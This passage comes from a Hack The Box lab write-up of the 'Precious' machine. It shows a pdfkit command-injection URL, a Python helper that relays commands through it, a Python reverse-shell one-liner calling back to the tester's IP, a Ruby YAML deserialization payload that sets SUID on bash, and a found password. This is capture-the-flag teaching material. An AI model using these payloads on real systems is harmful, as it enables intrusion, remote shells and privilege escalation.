\"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"93","title":"2. Enumeration"},"94":{"body":"We can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"94","title":"3. Exploit - Remote Code Execution"},"95":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"95","title":"4. Foothold"},"96":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"96","title":"5. Privilege Escalation"},"97":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"97","title":"6. Conclusion"},"98":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"98","title":"1. Enumeração"},"99":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/